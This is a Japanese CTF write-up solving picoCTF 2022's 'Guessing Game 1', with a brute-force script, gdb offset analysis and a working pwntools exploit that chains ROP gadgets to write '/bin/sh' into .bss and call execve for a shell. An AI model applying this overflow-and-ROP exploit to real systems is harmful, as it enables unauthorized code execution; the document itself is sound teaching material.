mov命令とbssセクションを利用したROPでシェルをとる
picoCTF 2022 Mini-Competitionの「Guessing Game 1」という問題
bofとROPによる攻撃だが、ガジェットにmov
命令を使ったり、"/bin/sh"という文字列の扱い方が勉強になった。
プログラムの概要
checksec
┌──(shoebill㉿shoebill)-[~/pwn] └─$ checksec ./vuln [*] '/home/shoebill/pwn/vuln' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
しかし、与えられたMakefileを読むとCanaryは無いことがわかる:
┌──(shoebill㉿shoebill)-[~/pwn] └─$ cat Makefile all: gcc -m64 -fno-stack-protector -O0 -no-pie -static -o vuln vuln.c clean: rm vuln
brute forceとbof
int main(int argc, char **argv){ int res; printf("Welcome to my guessing game!\n\n"); while (1) { res = do_stuff(); if (res) { win(); } } return 0; }
main
関数に入るとdo_stuff
関数の無限ループが始まる。
#define BUFSIZE 100 long increment(long in) { return in + 1; } long get_random() { return rand() % BUFSIZE; } int do_stuff() { long ans = get_random(); ans = increment(ans); int res = 0; printf("What number would you like to guess?\n"); char guess[BUFSIZE]; fgets(guess, BUFSIZE, stdin); long g = atol(guess); if (!g) { printf("That's not a valid number!\n"); } else { if (g == ans) { printf("Congrats! You win! Your prize is this print statement!\n\n"); res = 1; } else { printf("Nope!\n\n"); } }
ランダムな数字は100で割った余り+1つまり1から100まで。
入力した数字がそのランダムな数字とあっていればwin
関数が実行される。
void win() { char winner[BUFSIZE]; printf("New winner!\nName? "); fgets(winner, 360, stdin); printf("Congrats %s\n\n", winner); }
BUFSIZE
は100なのにfgets
で入力サイズが360になっている。
brute force
#!/usr/bin/env python3 import random import time import warnings from pwn import * warnings.simplefilter('ignore', category = BytesWarning) bin_file = './vuln' binf = ELF(bin_file, checksec = False) context.binary = binf context.log_level = 'debug' while True: conn = process(bin_file) # conn = remote('jupiter.challenges.picoctf.org', 39940) num = random.randint(1, 100) conn.sendlineafter('What number would you like to guess?', str(num)) conn.recvline() req = conn.recvline() if b'Nope!' in req: conn.close() time.sleep(1) else: name = 'Kali' conn.sendafter('Name? ', name) break
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./brute.py ... [DEBUG] Sent 0x3 bytes: b'84\n' [DEBUG] Received 0x4a bytes: b'Congrats! You win! Your prize is this print statement!\n' b'\n' b'New winner!\n' b'Name? ' [DEBUG] Sent 0x4 bytes: b'Kali' [*] Stopped process './vuln' (pid 11633)
このbrute.pyを(ローカルで)何回実行しても84が正解となる。
リモートターゲットに対してブルートフォースしてもやはり84が正解となった。
試しにexploitを使わずに普通にアクセスしてやったら84で正解となったので、ランダムな数字は84で確定。
exploit
win
関数のbofを狙ってROP攻撃する。
#!/usr/bin/env python3 import warnings from pwn import * warnings.simplefilter('ignore', category = BytesWarning) bin_file = './vuln' binf = ELF(bin_file, checksec = False) context.binary = binf def attack(conn): conn.sendlineafter('What number would you like to guess?', '84') rop = ROP(binf) rop.raw(rop.rdx) rop.raw('/bin/sh\x00') # "\x00"を省略すると失敗する rop.raw(rop.rax) rop.raw(binf.bss()) rop.raw(0x000000000048dd71) # execve('/bin/sh', 0, 0) rop.raw(rop.rdi) rop.raw(binf.bss()) rop.raw(rop.rsi) rop.raw(0) rop.raw(rop.rdx) rop.raw(0) rop.raw(rop.rax) rop.raw(constants.SYS_execve) rop.raw(rop.syscall.address) payload = b'A' * 0x70 payload += p64(0xdeadbeef) # saved-rbp payload += rop.chain() # リターンアドレスをROPチェーンに置き換える conn.sendlineafter('Name? ', payload) def main(): #conn = process(bin_file) conn = remote('jupiter.challenges.picoctf.org', 39940) attack(conn) conn.interactive() if __name__ == '__main__': main()
リターンアドレスまでのオフセット
win
関数をディスアセンブルすると
gdb-peda$ disas win Dump of assembler code for function win: 0x0000000000400c40 <+0>: push rbp 0x0000000000400c41 <+1>: mov rbp,rsp 0x0000000000400c44 <+4>: sub rsp,0x70 0x0000000000400c48 <+8>: lea rdi,[rip+0x92478] # 0x4930c7 0x0000000000400c4f <+15>: mov eax,0x0 0x0000000000400c54 <+20>: call 0x410010 <printf> 0x0000000000400c59 <+25>: mov rdx,QWORD PTR [rip+0x2b9b48] # 0x6ba7a8 <stdin> 0x0000000000400c60 <+32>: lea rax,[rbp-0x70] 0x0000000000400c64 <+36>: mov esi,0x168 0x0000000000400c69 <+41>: mov rdi,rax 0x0000000000400c6c <+44>: call 0x410a10 <fgets> 0x0000000000400c71 <+49>: lea rax,[rbp-0x70] ...
よってスタックの様子は次のようになっている(0x70 = 112):
+-------------------+ -0x70 | | | | | | | | | | | | | | | winner | | | | | | | | | | | | | +-------------------+ | | | saved rbp | | | +-------------------+ | | | retaddr | +0x8 | | +-------------------+
次のようにgdbのパターン文字列を使ってもよい。Nameを入力するタイミングにブレークポイントを打って、Nameにパターン文字列を入力してやる:
gdb-peda$ b *win+44 gdb-peda$ pattc 400 'AAA%AAsAABAA$AA...A%ZA%xA%y' gdb-peda$ r Starting program: /home/shoebill/pwn/vuln Welcome to my guessing game! What number would you like to guess? 84 Congrats! You win! Your prize is this print statement! New winner! Name? ... [-------------------------------------code-------------------------------------] 0x400c60 <win+32>: lea rax,[rbp-0x70] 0x400c64 <win+36>: mov esi,0x168 0x400c69 <win+41>: mov rdi,rax => 0x400c6c <win+44>: call 0x410a10 <fgets> 0x400c71 <win+49>: lea rax,[rbp-0x70] 0x400c75 <win+53>: mov rsi,rax 0x400c78 <win+56>: lea rdi,[rip+0x9245b] # 0x4930da 0x400c7f <win+63>: mov eax,0x0 Guessed arguments: arg[0]: 0x7fffffffdcb0 --> 0xa ('\n') arg[1]: 0x168 arg[2]: 0x6ba580 --> 0xfbad2288 ... gdb-peda$ ni AAA%AAsAABAA$AA...A%ZA%xA%y [----------------------------------registers-----------------------------------] ... RBP: 0x7fffffffdd20 ("AA8AANAA... ... gdb-peda$ patto AA8AANAA AA8AANAA found at offset: 112
ROPチェーンとシェル起動
今回のROPチェーン:
0x0000: 0x44a6b5 pop rdx; ret 0x0008: b'/bin/sh\x00' '/bin/sh\x00' 0x0010: 0x4163f4 pop rax; ret 0x0018: 0x6bc3a0 completed.7147 0x0020: 0x48dd71 0x0028: 0x400696 pop rdi; ret 0x0030: 0x6bc3a0 completed.7147 0x0038: 0x410ca3 pop rsi; ret 0x0040: 0x0 0x0048: 0x44a6b5 pop rdx; ret 0x0050: 0x0 0x0058: 0x4163f4 pop rax; ret 0x0060: 0x3b SYS_execve 0x0068: 0x40137c syscall 0x0070: 0x400416 ret
execve('/bin/sh', 0, 0)
のsyscallをしてシェルをとる。
"/bin/sh"という文字列の取扱い
次のガジェットを使う:
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ROPgadget --binary ./vuln | grep mov ... 0x000000000048dd71 : mov qword ptr [rax], rdx ; ret ...
rdxレジスタに文字列"/bin/sh"を格納し、raxレジスタにはbssセクションのアドレスを格納する。
その後、このガジェットによりbssセクションに文字列"/bin/sh"が格納される。
rop.raw(rop.rdx) rop.raw('/bin/sh\x00') rop.raw(rop.rax) rop.raw(binf.bss()) rop.raw(0x000000000048dd71)
なので、execve('/bin/sh', 0, 0)
をsyscallする際は、rdiレジスタにbssセクションのアドレスを格納させる:
rop.raw(rop.rdi) rop.raw(binf.bss()) rop.raw(rop.rsi) rop.raw(0) rop.raw(rop.rdx) rop.raw(0) rop.raw(rop.rax) rop.raw(constants.SYS_execve) rop.raw(rop.syscall.address)